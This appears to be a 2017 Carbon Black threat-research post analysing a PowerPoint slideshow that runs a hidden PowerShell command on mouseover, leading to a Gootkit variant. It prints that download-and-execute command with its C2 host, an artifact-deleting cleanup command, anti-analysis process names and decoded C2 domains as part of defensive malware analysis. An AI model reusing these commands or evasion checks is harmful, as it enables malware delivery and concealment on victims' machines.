Carbon Black & VMware Announce Expanded Partnership to Secure the Software-Defined Data Center (SDDC) Learn more

Carbon Black Threat Research Dissects Emerging Mouseover Malware

Mouseover_Malware_Carbon_Black_lead
JaredMyers-128x128
June 12, 2017 / Jared Myers

At the end of May, Carbon Black Threat Research begin analyzing a sample at the request of a customer. Variants of the sample had been previously submitted to online Sandboxes.  The analysis was provided back to the customer, but after additional request, Carbon Black is releasing the findings to assist other researchers and practitioners investigating this type of attack technique.  

This technical write up contains information relating to the different phases of the attack, queries and rules (including existing rules in public feeds) for detecting and preventing this type of attack can be reviewed in the Carbon Black User Exchange.  For techniques like this, Carbon Black Threat Research recommends an approach focusing on detecting abnormalities as soon as possible in the overall attack scenario so that, regardless of the variants used in the latter stages, the attack can be stopped before additional code is introduced into the network.

The information for the analyzed file is listed below.  The analysis provided in this report is to highlight the malicious actions of this attack and the different points where the Cb Suite can detect attacks like this.

File Name       : mouse_over_analysis_6-1-17.ppsx

File Size       : 34,650 bytes

MD5             : 3bff3e4fec2b6030c89e792c05f049fc

SHA1            : 07a986e018c999c43e9eab1ceb0338e5d60699a8

SHA256          : 796a386b43f12b99568f55166e339fcf43a4792d292bdd05dafa97ee32518921

Fuzzy           : 768:qJQGYXy+LgNnPLPOn1OG4TWOhg5hP2B1NLS3F/kUOKQZJkqEDBFlg9ISkgSn8SnN:8pYC6gPLPOn7uhbg8kDl8i

Magic           : Zip archive data, at least v2.0 to extract


The image below shows a portion of the metadata available for the file, most importantly that it was most likely last saved on May 25, 2017 at 12:32 am (UTC).  

Technical Details

First Stage

When the .ppsx file (Powerpoint open XML slideshow)  is executed it will open in full screen mode and display the image below, which is an attempt to fool the user into believing that a presentation is being loaded.

This is where the second stage of the attack is initiated.  The image itself has a hyperlink attached to it.  Microsoft Office allows you to create a hyperlink to a URL or an external command.  These hyperlinks can be executed either by clicking on the hyperlinked area or by mousing over the hyperlinked area.  

This document was saved in the open XML format, and its contents can easily be reviewed by unzipping the file with any standard unpacking tool.  Once unpacked the malicious code can be located and reviewed.  The below image shows the file structure of the unpacked sample.  

There are two specific areas that contain information relevant to the malicious activities carried out by this sample.  The first is located in the unpacked_sample/ppt/slides/slide1.xml file, which contains the code responsible for the executing the hyperlink from a mouse over of the target area.  The image below displays this code, which is highlighted in the red box.

The code responsible for downloading the next payload in the attack is located in the unpacked_sample/ppt/slides/_rels/slide1.xml.rels file. The image below displays the contents of the slide1.xml.rels file, the powershell command is highlighted in the red box.

The table below displays the powershell command in a format that is easier to read.  The C2 (hxxp://cccn.nl/c.php)  is clearly visible in the table below.  There are numerous rules (and the advanced threats feed 1) that can be applied to all of the Cb Products that could alert/detect/terminate the attack at this point.  This UeX article provides some rules for each product and the comments provide how other Cb users are detecting this type of behavior.  The other portions of the command directly relate to downloading a file from the obfuscated C2 string,  saving the file returned by the request to the current user’s Temp folder as ii.jse, and then executing that file.  

powershell -NoP -NonI -W Hidden -Exec Bypass “IEX (New-Object System.Net.WebClient).DownloadFile(‘http:’+/+/+’cccn.nl’+/+’c.php’,\”$env:temp\ii.jse\”); Invoke-Item \”$env:temp\ii.jse\”””


It should be noted, which has been previously documented in
public post, that the server performs a check that if failed will redirect to www.google.com and if passed will serve the secondary payload (located at hxxp://cccn.nl/2.2) back to the requesting system.

Second Stage

The image below, displays the network traffic when PowerShell request the c.php file and redirected and served the malicious payload.  The data highlighted in green clearly shows the redirect and the data highlighted in red shows the data returned to the request, which will be saved to the system as ii.jse.  

The metadata below is for the downloaded file (on the Date in the above network traffic), which is created on the infected system as ii.jse.

File Name       : ii.jse

File Size       : 335,271 bytes

MD5             : f5b3d1128731cac04b2dc955c1a41114

SHA1            : 104919078a6d688e5848ff01b667b4d672b9b447

SHA256          : 55821b2be825629d6674884d93006440d131f77bed216d36ea20e4930a280302

From the data (highlighted in red above) in the network response and the filename extension the file’s contents are an encoded javascript file.  There are numerous open source projects that will decode this type of java script file.  Once decoded the script is approximately 17,00 lines of obfuscated code, that is intended to frustrate analysis.  A small excerpt of the code is displayed in the image below.

Cb Threat Research wrote python script2 to parse and clean up the obfuscation of the above code, resulting in a readable script that is approximately 260 lines of code.

The ii.jse script will initially check to ensure that the script it not named seter64.jse, if that is the current file’s name the script will exit.  The script will perform several checks (an attempt to determine if the script is being run in a VM or analysis type environment) to see if its parent process is specifically named one of the following:

  • Procmon
  • Wireshark
  • Tempiexplore.exe
  • ProcessHacker
  • Vmtoolsd
  • VboxService
  • Python
  • Proxifier
  • Johnson-PC
  • ImmunityDebugger.exe
  • lordPE.exe
  • Ctfmon.exe
  • BehaviorDumper
  • Anti – virus.exe
  • AgentSimulator.exe
  • VzService.exe
  • RemoveGuestWindow

Once the checks are completed the script will begin to build a request to hxxps://185.159.82.38 over TCP port 45000 (the C2 is clearly visible in the image depicting the parsed script above)  for the next payload which will be stored on the system as [randomcharacters].gop.  The image below is a small part of the code which is responsible for building the request.  

The script will perform some other checks to determine that the .gop file is of at least a certain length before calling certutil and subsequently saving the file as [randomcharacters].exe.  This is highlighted in the code below.

It should be noted that the payload that is downloaded (saved with a .gop file extension) and saved to disk is a base64 encoded file, that is decoded using the command certutil.exe -decode source_path.gop destination_path.exe

Ultimately the script will then execute the newly created payload and run the following script to clean up the prior malicious activities and remove artifacts from the infected system.




cmd /U /Q /C del /Q /F %TEMP%\*.exe && del /Q /F %TEMP%\*.gop && del /Q /F %TEMP%\*.txt && del /Q /F %TEMP%\*.log && del /Q /F %TEMP%\*.jse                                                                                                                                                                                                                                                                                                                                                                                                                         



Third Stage

The metadata for the third stage executable (available at the time of analysis) saved to disk by the ii.jse file is listed in the table below.

File Name       : third_stage_exe

File Size       : 237,568 bytes

MD5             : 13cdbd8c31155610b628423dc2720419

SHA1            : 7633a023852d5a0b625423bffc3bbb14b81c6a0c

SHA256          : 55c69d2b82addd7a0cd3bebe910cd42b7343bd3faa7593356bcdca13dd73a0ef

Fuzzy           : 3072:3LsIceWY7lHJ8X3+iOTh+Y4qSediiqKxbcJts3Fsgtn7F61oEJtHm/T1SzIzIOf:3THmHgz58ixbcqFcNJtMAss+

Compiled Time   : Fri May 26 14:07:07 2017 UTC

PE Sections (4) : Name       Size       MD5

                 .text      196,608    adef69f1bd1149eb149f3eb1ad2ba7f7

                 .data      28,672     2adeb7f6247d072cbf970936431827b7

                 .rsrc      4,096      641a9bf6d5ed982364f8cb344e49c3ec

                 .reloc     4,096      8a4262deb67dd81812102dee601b82b4

Magic           : PE32 executable for MS Windows (GUI) Intel 80386 32-bit


The third stage executable contains several layers of a custom unpacking routine.  Ultimately a binary (with headers intact) is written to allocated memory and called.  The metadata for the unpacked binary is listed in the table below.  From analysis of the final payload it appears to be a Gootkit variant, CarbonBlack Research was able to locate several related variants3
.

File Name       : third_stage_payload.exe

File Size       : 118,272 bytes

MD5             : dadf1240cbcd8dec1cc1a17f97ce4860

SHA1            : 8ab01141c62f3520d189236f999706f4c862e167

SHA256          : 2b1cf83ee3b705290314a4db153476e6ac9beb7db086e9ca92f3807898a80fe3

Fuzzy           : 3072:PIB1u15+hyCrhOBdcvaoF9iBT9ypRcFKd+iU2:P+m5+hyCFOBqvTF9iFgpaFKd+iU2

Compiled Time   : Mon Apr 11 02:39:24 2011 UTC

PE Sections (4) : Name       Size       MD5

                 .text      61,440     f4fe5ae44011e2e5f48709d5ce7c504f

                 .rdata     7,680      acd531cb09576f502b032dba081fb3e0

                 .data      44,032     712b967ff0ce96ee976ed9d90ca9163f

                 .reloc     4,096      b2d3a7cc3700ec88d68d6e586714a9e7

Magic           : PE32 executable for MS Windows (GUI) Intel 80386 32-bit

 

This sample uses several techniques to decode different embedded strings and executables.  One of these techniques is displayed below, and is an example of string stacking, where an encoded buffer and the XOR key used to decode the string are pushed into certain memory locations.  A function responsible for decoding one of the hard coded string is displayed below.  

The area highlighted in the red box is relevant for the first portion of decoding.  The boxes that are highlighted in blue are the encoded values being concatenated together in memory.  It should be noted that the value 6 is pushed and popped on the stack, is used in the overall encoded string as well as a specific value used in the next phase of decoding (highlighted by the blue arrow).  The boxes highlighted in green are then concatenated in memory and are used as the XOR key to decode the previously referenced string.  The tables below display the concatenated encoded string and the XOR key, from the above image.




Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   38 71 06 34 35 4E 26 71  16 34 6F 4E 30 71 0D 34   8q 45N&q 4oN0q 4

00000010   24 4E 55 71                                        $NUq

Encoded String




Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

 

00000000   55 71 75 34 41 4E                                  Uqu4AN



XOR Key

The next phase of the decoding function is responsible for XORing the encoded string with the key.  The commands responsible for the decoding is highlighted in the orange box in the image below.  The hardcoded value that was pushed and popped on the stack (in this scenario 0x06) is the length of the XOR key, which it will rotate through to match the length of the encoded string.  The counter value is loaded into the EAX register and then the idiv command is used with the value previously stored in memory (in this case 0x06).  This results in the modular function where the counter value is divided by the 0x06 value and the remainder is stored in the EDX register.  The remainder value is then used as an offset into the 6 byte XOR key.  It should be noted that different XOR keys of different lengths are used throughout this sample, however the approach to decode each instance is the same.

The previously referenced encoded string is decoded to the following value (mstsc.exe).  The sample will then check to see if the current process’ parent process is mstsc.exe.  It appears that the malware author(s) used this process as it typically is associated with network connections, and not that they are necessarily trying to exploit or utilize the RDP protocol.




Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00000000   6D 00 73 00 74 00 73 00  63 00 2E 00 65 00 78 00   m s t s c . e x 
00000010   65 00 00 00                                        e   




This sample can also decode two embedded executables into memory and then launch the decoded binaries as child processes as necessary.  It should be noted that the binaries appear to be x86 and 64 bit versions of the same code.  The technique for decoding the binary differs from the previously described method.  The pseudo-code for the function responsible for decoding the embedded binaries is displayed in the image below.

This red boxes in the image above highlight where a hard coded XOR key (0x0F and 0x0C in length respectively) are used to decode a corresponding buffer.  The table below displays a small excerpt of data used by the code in the first red box.  The values highlighted in red is the XOR key and the values in black are the encoded binary.  The repetition of the XOR key can be observed in the portions that are typically associated null values in PE binaries.




Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F
00011380   58 62 41 74  58 68 52 55 4B 41 72 6B XbAtXhRUKArk
00011390   59 6D 7000 00 00 00 00  00 00 00 00 00 00 00 00 Ymp       
000113A0   15 38 D1 74 5B 68 52 55  4F 41 72 6B A6 92 70 58    8Ñt[hRUOArk¦’pX
000113B0   DA 41 74 58 68 52 55 4B  01 72 6B 59 6D 70 58 62   ÚAtXhRUK rkYmpXb
000113C0   41 74 58 68 52 55 4B 41  72 6B 59 6D 70 58 62 41   AtXhRUKArkYmpXbA
000113D0   74 58 68 52 55 4B 41 72  6B 59 6D 70 80 62 41 74   tXhRUKArkYmp€bAt
000113E0   56 77 E8 5B 4B F5 7B A6  78 D5 71 14 AF 60 20 30   Vwè[Kõ{¦xÕq ¯` 0
000113F0   01 21 75 3B 33 1D 0C 2B  0C 1D 78 01 20 1A 36 07    !u;3  +  x   6 
00011400   26 75 29 24 52 19 2C 03  50 31 0C 61 30 17 3B 72   &u)$R , P1 a0 ;r
00011410   38 24 25 17 45 54 60 7A  7C 62 41 74 58 68 52 55   8$% ET`z|bAtXhRU
00011420   2B BC CB B2 7D F1 A7 D2  46 DD A3 D2 4C CE 82 C1   +¼Ë²}ñ§ÒFÝ£ÒL΂Á
00011430   42 28 C7 D3 4B EC 8F E8  6C 90 1C E2 7F C9 9C CB   B(ÇÓKì èl  â ÉœË
00011440   56 F7 8F E7 1B C4 B5 CB  C2 9A B6 D9 7F D7 96 F8   V÷ ç ĵËš¶Ù ×–ø
00011450   DD 9B B8 FB 7D FE 96 FE  0A 01 31 3D 6F DD A5 E1   Ý›¸û}þ–þ  1=oÝ¥á
00011460   59 6D 70 58 62 41 74 58  68 52 55 4B 41 72 6B 59   YmpXbAtXhRUKArkY
00011470   6D 70 58 62 41 74 58 68  02 10 4B 41 3E 6A 5D 6D   mpXbAtXh  KA>j]m
00011480   AC 5F 56 19 74 58 68 52  55 4B 41 72 8B 59 6F 51   ¬_V tXhRUKAr‹YoQ
00011490   53 63 4F 74 58 72 52 55  4B 67 72 6B 59 6D 70 58   ScOtXrRUKgrkYmpX
000114A0   CB 61 74 58 68 42 55 4B  41 42 6B 59 6D 70 58 72   ËatXhBUKABkYmpXr
000114B0   41 64 58 68 52 57 4B 41  77 6B 58 6D 70 58 62 41   AdXhRWKAwkXmpXbA
000114C0   71 58 69 52 55 4B 41 72  6B 29 6D 70 58 66 41 74   qXiRUKArk)mpXfAt
000114D0   58 68 52 55 49 41 32 6E  59 6D 60 58 62 51 74 58   XhRUIA2nYm`XbQtX
000114E0   68 52 45 4B 41 62 6B 59  6D 70 58 62 51 74 58 68   hREKAbkYmpXbQtXh




This metadata for the two embedded binaries (decoded), is listed in the two tables below respectively.  

File Name       : embedded_payload_1

File Size       : 17,408 bytes

MD5             : 3d2bc83c187dfc6191a9de8306aafa56

SHA1            : 1ae3b9f2686f27ae9028532b4fe26ce0493b71aa

SHA256          : 7b885ade54cf1ea610f249bc937bdcd637557ca3b474b62f98cac8317e245939

Fuzzy           : 384:e9RNRBCF7TfHadRNasbMMFyCzu/mGBh0ILH8yQ:y3sHyMNIj/IwyQ

Compiled Time   : Tue Nov 22 08:54:52 2016 UTC

PE Sections (4) : Name       Size       MD5

                 .text      6,656      5cbc07e39aff0cc10bb8f53ec395c8a6

                 .rdata     7,168      027e00e0c947aa59c5b87c93ff1204e4

                 .data      512        a22814af83fd0528d6a52265734bbcd5

                 .reloc     2,048      a1f368e7d63750587b203e3bfab81ee6

 

File Name       : embedded_payload_2

File Size       : 25,088 bytes

MD5             : 2324da702023d601b295610bc26e3778

SHA1            : 0f3e7ae792ef1312f0efed71210e05c8e3e8e7a8

SHA256          : 174d202a002ce7cfde3f19e9cff8a32cba622879ee2c7953ae069243ddfdfdbc

Fuzzy           : 384:jxdFR4kG9ySXHAE98OuVxU7YJ4QVva5oeqKA/4aizss0ss:/F2XOOuVx5yw3Q8

Compiled Time   : Thu Nov 17 10:33:53 2016 UTC

PE Sections (5) : Name       Size       MD5

                 .text      9,216      80a8c5bb6fb4030ae7577b70abedfb26

                 .rdata     12,288     3a238953b6b91910f8de439cebbc759e

                 .data      512        a22814af83fd0528d6a52265734bbcd5

                 .pdata     512        d174071a26f2f9d127e80e268255608c

                 .reloc     1,536      8f4fbbc714aea280f2a0e3c48e089517

 


The last technique that is used is related to decoding configuration information.  The pseudo-code responsible for decoding the configuration information is displayed in the image below.

The first red box in the image above is the first value used in the dynamically generated XOR key.  This value is used as a base for each following XOR value that is used to decode the configuration information. The second red box shows the manner in which subsequent XOR values of the overall key are generated.  It should be noted that the variable names were changed for clarity purposes.  The following python code can decode the configuration information and print the relevant entries (removing null values).  

d = ‘Encoded Buffer’

out = []

key = 0x22 #First Value of XOR Key

i = 0

 

for x in d:

  dec_value = ord(x) ^ key

  key = key + (0x3 * ( i % 0x85)) & 0xFF

  i = i +1

  out.append(chr(dec_value))

 

out = filter(None, ”.join(out).split(‘\x00’))


This table below shows the output from the above script for this sample’s configuration information.

[‘web.190lospinosct.com’, ‘trktrk.eu’, ‘buyyou.org’, ‘plane.theseatcover.com’, ‘\x05\x0d’, ‘svchost.exe’]

Footnotes

1. [Powershell Executing Hidden, Encoded Commands — Community]

2. [This python script can be requested through the Carbon Black UserExchange]

3. [c9556f0b84305ccf7653da354b54d1c4ba206bc247e736933297ca36bc78cfb1 91b7e93df1075b15fc67e0074c17f7ca452ddfd66ae2c338adea823f84d21a23 6df6cc67146a4f5348cd3febaae351ad5144b646b7ec19383bba91a4d6625c53 0b9b8ff52ffa1476f1b45fea1cdf6d8d4c9f19b823d9299537e3aa9c27ee32b0 d53eecc1cb952e5331e440d782080e7a26dfb1c2859cf9bcef8028de809c0dd9]

TAGS: Carbon Black / malware / Mouseover / threat research

Related Posts